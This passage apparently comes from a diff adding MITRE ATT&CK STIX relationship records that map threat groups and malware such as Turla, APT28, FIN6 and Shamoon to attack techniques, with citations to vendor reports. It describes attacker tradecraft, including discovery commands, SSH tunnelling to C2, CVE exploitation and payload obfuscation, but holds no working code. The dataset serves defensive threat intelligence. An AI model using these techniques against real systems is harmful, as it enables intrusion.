"Falcone, R. and Miller-Osborn, J.. (2015, December 18). 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Retrieved April 10, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e1a3f5df-963d-4211-931e-02ed9c567168", + "description": "(Citation: FireEye APT34 Webinar Dec 2017)", + "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db", + "modified": "2019-09-04T22:55:41.901Z", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "FireEye APT34 Webinar Dec 2017", + "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.", + "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--3325e625-d76b-42df-b952-749dabb57517", + "description": "[Turla](https://attack.mitre.org/groups/G0010) surveys a system upon check-in to discover active local network connections using the netstat -an, net use, net file, and net session commands.(Citation: Kaspersky Turla)(Citation: ESET ComRAT May 2020) [Turla](https://attack.mitre.org/groups/G0010) RPC backdoors have also enumerated the IPv4 TCP connection table via the GetTcpTable2 API call.(Citation: ESET Turla PowerShell May 2019)", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", + "modified": "2020-06-29T02:52:31.770Z", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-05-31T21:33:27.045Z", + "external_references": [ + { + "source_name": "Kaspersky Turla", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + }, + { + "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf", + "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020.", + "source_name": "ESET ComRAT May 2020" + }, + { + "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/", + "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.", + "source_name": "ESET Turla PowerShell May 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--431ec495-5f92-40e9-9955-58ca334ea3c8", + "description": "(Citation: FireEye APT34 Dec 2017)", + "target_ref": "tool--0a68f1f1-da74-4d28-8d9a-696c082706cc", + "modified": "2020-03-18T20:18:02.878Z", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "FireEye APT34 Dec 2017", + "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. 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Retrieved April 10, 2019.", + "source_name": "Baumgartner Naikon 2015" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ad934b01-9c8c-42cd-8195-dc272c363208", + "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) has executed commands through Microsoft security vulnerabilities, including CVE-2017-11882, CVE-2018-0802, and CVE-2012-0158.(Citation: TrendMicro Tropic Trooper Mar 2018)(Citation: Unit 42 Tropic Trooper Nov 2016)", + "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", + "modified": "2019-06-30T22:44:28.217Z", + "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-01-29T20:17:49.381Z", + "external_references": [ + { + "source_name": "TrendMicro Tropic Trooper Mar 2018", + "description": "Horejsi, J., et al. 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Retrieved November 9, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--9692d2b6-c933-4c1a-8ea0-1f0babfeeec9", + "target_ref": "attack-pattern--66f73398-8394-4711-85e5-34c8540b22a5", + "modified": "2020-02-12T16:47:16.680Z", + "source_ref": "course-of-action--7aee8ea0-0baa-4232-b379-5d9ce98352cf", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2018-01-16T16:13:52.465Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--11d37d18-3ad6-41ed-a99e-f1cc9d524c6c", + "description": "[BadPatch](https://attack.mitre.org/software/S0337) establishes a foothold by adding a link to the malware executable in the startup folder.(Citation: Unit 42 BadPatch Oct 2017)", + "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", + "modified": "2019-04-23T21:17:49.857Z", + "source_ref": "malware--9af05de0-bc09-4511-a350-5eb8b06185c1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-01-29T21:33:34.692Z", + "external_references": [ + { + "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-badpatch/", + "description": "Bar, T., Conant, S. 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(2014, November 24). THE REGIN PLATFORM NATION-STATE OWNAGE OF GSM NETWORKS. Retrieved December 1, 2014.", + "source_name": "Kaspersky Regin" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b8a7be73-89a5-4689-8eea-280b745bd3cc", + "description": "[Micropsia](https://attack.mitre.org/software/S0339) takes screenshots every 90 seconds by calling the Gdi32.BitBlt API.(Citation: Radware Micropsia July 2018)", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "modified": "2019-04-17T22:05:05.892Z", + "source_ref": "malware--8c050cea-86e1-4b63-bf21-7af4fa483349", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-01-29T21:47:53.746Z", + "external_references": [ + { + "url": "https://blog.radware.com/security/2018/07/micropsia-malware/", + "description": "Tsarfaty, Y. (2018, July 25). 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(2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. Retrieved July 12, 2017.", + "source_name": "XAgentOSX 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--21117898-adc0-41c1-9e2e-2551e638ef71", + "description": "[Xbash](https://attack.mitre.org/software/S0341) can execute malicious VBScript payloads on the victim\u2019s machine.(Citation: Unit42 Xbash Sept 2018)", + "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", + "modified": "2020-03-19T17:44:44.733Z", + "source_ref": "malware--6a92d80f-cc65-45f6-aa66-3cdea6786b3c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-01-30T13:28:47.846Z", + "external_references": [ + { + "source_name": "Unit42 Xbash Sept 2018", + "description": "Xiao, C. (2018, September 17). Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. Retrieved November 14, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--68487d82-458b-4f45-b1c8-c6e4affaa226", + "description": "(Citation: PWC Cloud Hopper Technical Annex April 2017)(Citation: FireEye APT10 April 2017)(Citation: DOJ APT10 Dec 2018)", + "target_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", + "modified": "2020-12-17T15:58:17.124Z", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-05-31T21:33:27.079Z", + "external_references": [ + { + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "source_name": "PWC Cloud Hopper Technical Annex April 2017" + }, + { + "source_name": "FireEye APT10 April 2017", + "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html" + }, + { + "url": "https://www.justice.gov/opa/pr/two-chinese-hackers-associated-ministry-state-security-charged-global-computer-intrusion", + "description": "United States District Court Southern District of New York (USDC SDNY) . (2018, December 17). United States of America v. Zhu Hua and Zhang Shilong. Retrieved April 17, 2019.", + "source_name": "DOJ APT10 Dec 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--6d492623-1e48-45d8-9062-9c9565bb3a8b", + "description": "[APT18](https://attack.mitre.org/groups/G0026) uses port 80 for C2 communications.(Citation: PaloAlto DNS Requests May 2016)(Citation: Anomali Evasive Maneuvers July 2015)", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "modified": "2019-05-30T18:05:32.805Z", + "source_ref": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-01-30T14:00:49.735Z", + "external_references": [ + { + "source_name": "PaloAlto DNS Requests May 2016", + "description": "Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved November 15, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/" + }, + { + "url": "https://www.anomali.com/blog/evasive-maneuvers-the-wekby-group-attempts-to-evade-analysis-via-custom-rop", + "description": "Shelmire, A. (2015, July 06). Evasive Maneuvers by the Wekby group with custom ROP-packing and DNS covert channels. Retrieved November 15, 2018.", + "source_name": "Anomali Evasive Maneuvers July 2015" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--85c95ce3-8685-4d2a-9d6f-7e4be4cd9623", + "description": "[Gazer](https://attack.mitre.org/software/S0168) has commands to delete files and persistence mechanisms from the victim.(Citation: ESET Gazer Aug 2017)(Citation: Securelist WhiteBear Aug 2017)", + "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "modified": "2020-03-17T01:22:43.793Z", + "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-01-16T16:13:52.465Z", + "external_references": [ + { + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf", + "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.", + "source_name": "ESET Gazer Aug 2017" + }, + { + "url": "https://securelist.com/introducing-whitebear/81638/", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.", + "source_name": "Securelist WhiteBear Aug 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--43809fa9-dbe2-4429-875e-f0828563d6aa", + "description": "[APT32](https://attack.mitre.org/groups/G0050) has collected the OS version and computer name from victims. One of the group's backdoors can also query the Windows Registry to gather system information, and another macOS backdoor performs a fingerprint of the machine on its first connection to the C&C server. [APT32](https://attack.mitre.org/groups/G0050) executed shellcode to identify the name of the infected host.(Citation: ESET OceanLotus)(Citation: ESET OceanLotus Mar 2019)(Citation: ESET OceanLotus macOS April 2019)(Citation: FireEye APT32 April 2020)", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "modified": "2020-06-19T20:04:12.572Z", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/", + "description": "Folt\u00fdn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.", + "source_name": "ESET OceanLotus" + }, + { + "source_name": "ESET OceanLotus Mar 2019", + "description": "Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.", + "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/" + }, + { + "url": "https://www.welivesecurity.com/2019/04/09/oceanlotus-macos-malware-update/", + "description": "Dumont, R.. (2019, April 9). OceanLotus: macOS malware update. Retrieved April 15, 2019.", + "source_name": "ESET OceanLotus macOS April 2019" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2020/04/apt32-targeting-chinese-government-in-covid-19-related-espionage.html", + "description": "Henderson, S., et al. (2020, April 22). Vietnamese Threat Actors APT32 Targeting Wuhan Government and Chinese Ministry of Emergency Management in Latest Example of COVID-19 Related Espionage. Retrieved April 28, 2020.", + "source_name": "FireEye APT32 April 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a81c971e-732c-4e76-99ad-c7108642dd47", + "description": "[Seasalt](https://attack.mitre.org/software/S0345) is capable of installing itself as a service.(Citation: Mandiant APT1 Appendix)", + "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", + "modified": "2019-02-12T21:28:19.615Z", + "source_ref": "malware--b45747dc-87ca-4597-a245-7e16a61bc491", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-01-30T15:27:06.685Z", + "external_references": [ + { + "source_name": "Mandiant APT1 Appendix", + "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. 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(2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.", + "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--20c7d1a2-be94-4f58-83a9-7eb9e05c4449", + "description": "[FIN6](https://attack.mitre.org/groups/G0037) used the Plink command-line utility to create SSH tunnels to C2 servers.(Citation: FireEye FIN6 April 2016)", + "target_ref": "attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b", + "modified": "2020-03-17T01:19:55.563Z", + "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-05-31T21:33:27.072Z", + "external_references": [ + { + "source_name": "FireEye FIN6 April 2016", + "description": "FireEye Threat Intelligence. (2016, April). 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Retrieved July 16, 2018.", + "source_name": "Volexity Patchwork June 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--9f89d00f-fc0f-4dbb-9b54-3553821bf7ef", + "description": "[Night Dragon](https://attack.mitre.org/groups/G0014) has used HTTP for C2.(Citation: McAfee Night Dragon)", + "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", + "modified": "2021-06-16T15:50:05.291Z", + "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-01-30T18:02:59.294Z", + "external_references": [ + { + "url": "https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf", + "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", + "source_name": "McAfee Night Dragon" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--2d467445-9cce-4e84-968e-7a7ecc0a81fa", + "description": "[RGDoor](https://attack.mitre.org/software/S0258) uses cmd.exe to execute commands on the victim\u2019s machine.(Citation: Unit 42 RGDoor Jan 2018)", + "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", + "modified": "2020-03-19T19:27:44.187Z", + "source_ref": "malware--b9eec47e-98f4-4b3c-b574-3fa8a87ebe05", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/", + "description": "Falcone, R. (2018, January 25). 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Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--54c703f9-67ef-4622-afed-0ebbd2563e9e", + "description": "[VERMIN](https://attack.mitre.org/software/S0257) decrypts code, strings, and commands to use once it's on the victim's machine.(Citation: Unit 42 VERMIN Jan 2018)", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "modified": "2020-03-16T19:50:57.934Z", + "source_ref": "malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/", + "description": "Lancaster, T., Cortes, J. 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Retrieved December 20, 2017.", + "source_name": "FireEye APT34 Webinar Dec 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--6ab0ff01-1695-4301-ac9a-1cd0719be532", + "description": "[Hacking Team UEFI Rootkit](https://attack.mitre.org/software/S0047) is a UEFI BIOS rootkit developed by the company Hacking Team to persist remote access software on some targeted systems.(Citation: TrendMicro Hacking Team UEFI)", + "target_ref": "attack-pattern--6856ddd6-2df3-4379-8b87-284603c189c3", + "modified": "2019-12-20T13:42:28.077Z", + "source_ref": "malware--4b62ab58-c23b-4704-9c15-edd568cd59f8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/hacking-team-uses-uefi-bios-rootkit-to-keep-rcs-9-agent-in-target-systems/", + "description": "Lin, P. (2015, July 13). Hacking Team Uses UEFI BIOS Rootkit to Keep RCS 9 Agent in Target Systems. Retrieved December 11, 2015.", + "source_name": "TrendMicro Hacking Team UEFI" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b4e77f71-970a-4b24-938f-0d50ecea1969", + "description": "[Misdat](https://attack.mitre.org/software/S0083) is capable of providing shell functionality to the attacker to execute commands.(Citation: Cylance Dust Storm)", + "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", + "modified": "2020-03-20T01:58:23.966Z", + "source_ref": "malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf", + "description": "Gross, J. (2016, February 23). Operation Dust Storm. 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Retrieved July 10, 2018.", + "source_name": "TrendMicro Patchwork Dec 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a713d0d3-2897-4da2-995f-df3a40f04b29", + "description": "[NETEAGLE](https://attack.mitre.org/software/S0034) will attempt to detect if the infected host is configured to a proxy. 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Retrieved May 1, 2015.", + "source_name": "FireEye APT30" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--d2263afd-2fd3-4f98-96a5-a00e5f33b99e", + "description": "A [JPIN](https://attack.mitre.org/software/S0201) uses a encrypted and compressed payload that is disguised as a bitmap within the resource section of the installer.(Citation: Microsoft PLATINUM April 2016)", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "modified": "2020-03-16T16:57:38.879Z", + "source_ref": "malware--de6cb631-52f6-4169-a73b-7965390b0c30", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-04-18T17:59:24.739Z", + "external_references": [ + { + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf", + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "source_name": "Microsoft PLATINUM April 2016" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--536ed2f4-46c5-4485-998c-60f0480d5c21", + "description": "[ROKRAT](https://attack.mitre.org/software/S0240) lists the current running processes on the system.(Citation: Talos ROKRAT)(Citation: NCCGroup RokRat Nov 2018)", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "modified": "2021-03-29T19:50:54.288Z", + "source_ref": "malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "Talos ROKRAT", + "description": "Mercer, W., Rascagneres, P. (2017, April 03). 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Retrieved May 21, 2020.", + "source_name": "NCCGroup RokRat Nov 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--89424d69-a426-4f76-9e7f-7b2dabe459be", + "description": "[POWERSOURCE](https://attack.mitre.org/software/S0145) is a PowerShell backdoor.(Citation: FireEye FIN7 March 2017)(Citation: Cisco DNSMessenger March 2017)", + "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", + "modified": "2020-03-17T02:11:28.377Z", + "source_ref": "malware--17e919aa-4a49-445c-b103-dbb8df9e7351", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "https://www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html", + "description": "Miller, S., et al. (2017, March 7). FIN7 Spear Phishing Campaign Targets Personnel Involved in SEC Filings. Retrieved March 8, 2017.", + "source_name": "FireEye FIN7 March 2017" + }, + { + "url": "http://blog.talosintelligence.com/2017/03/dnsmessenger.html", + "description": "Brumaghin, E. and Grady, C.. (2017, March 2). Covert Channels and Poor Decisions: The Tale of DNSMessenger. Retrieved March 8, 2017.", + "source_name": "Cisco DNSMessenger March 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--2dfbcf5d-8563-440c-bd9c-0cfc15059bd5", + "description": "[Shamoon](https://attack.mitre.org/software/S0140) queries several Registry keys to identify hard disk partitions to overwrite.(Citation: Palo Alto Shamoon Nov 2016)", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", + "modified": "2019-04-24T23:59:16.370Z", + "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/", + "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.", + "source_name": "Palo Alto Shamoon Nov 2016" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--337abaa3-80a6-4c41-9936-2eed13b84ba9", + "description": "[RATANKBA](https://attack.mitre.org/software/S0241) uses cmd.exe to execute commands.(Citation: Lazarus RATANKBA)(Citation: RATANKBA)", + "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", + "modified": "2020-09-02T18:46:33.309Z", + "source_ref": "malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-campaign-targeting-cryptocurrencies-reveals-remote-controller-tool-evolved-ratankba/", + "description": "Lei, C., et al. (2018, January 24). Lazarus Campaign Targeting Cryptocurrencies Reveals Remote Controller Tool, an Evolved RATANKBA, and More. Retrieved May 22, 2018.", + "source_name": "Lazarus RATANKBA" + }, + { + "url": "https://www.trendmicro.com/en_us/research/17/b/ratankba-watering-holes-against-enterprises.html", + "description": "Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018.", + "source_name": "RATANKBA" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--2853aaaa-982e-49bf-a219-b4f16805b983", + "description": "[Koadic](https://attack.mitre.org/software/S0250) can use Regsvr32 to execute additional payloads.(Citation: Github Koadic)", + "target_ref": "attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab", + "modified": "2020-03-16T16:55:03.543Z", + "source_ref": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://github.com/zerosum0x0/koadic", + "description": "Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018.", + "source_name": "Github Koadic" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--1b143de7-af2d-4991-9e2e-aa85a8d7d330", + "description": "[APT28](https://attack.mitre.org/groups/G0007) encrypted a .dll payload using RTL and a custom encryption algorithm. [APT28](https://attack.mitre.org/groups/G0007) has also obfuscated payloads with base64, XOR, and RC4.(Citation: Bitdefender APT28 Dec 2015)(Citation: Unit 42 Sofacy Feb 2018)(Citation: Palo Alto Sofacy 06-2018)(Citation: Talos Seduploader Oct 2017)(Citation: Accenture SNAKEMACKEREL Nov 2018)", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "modified": 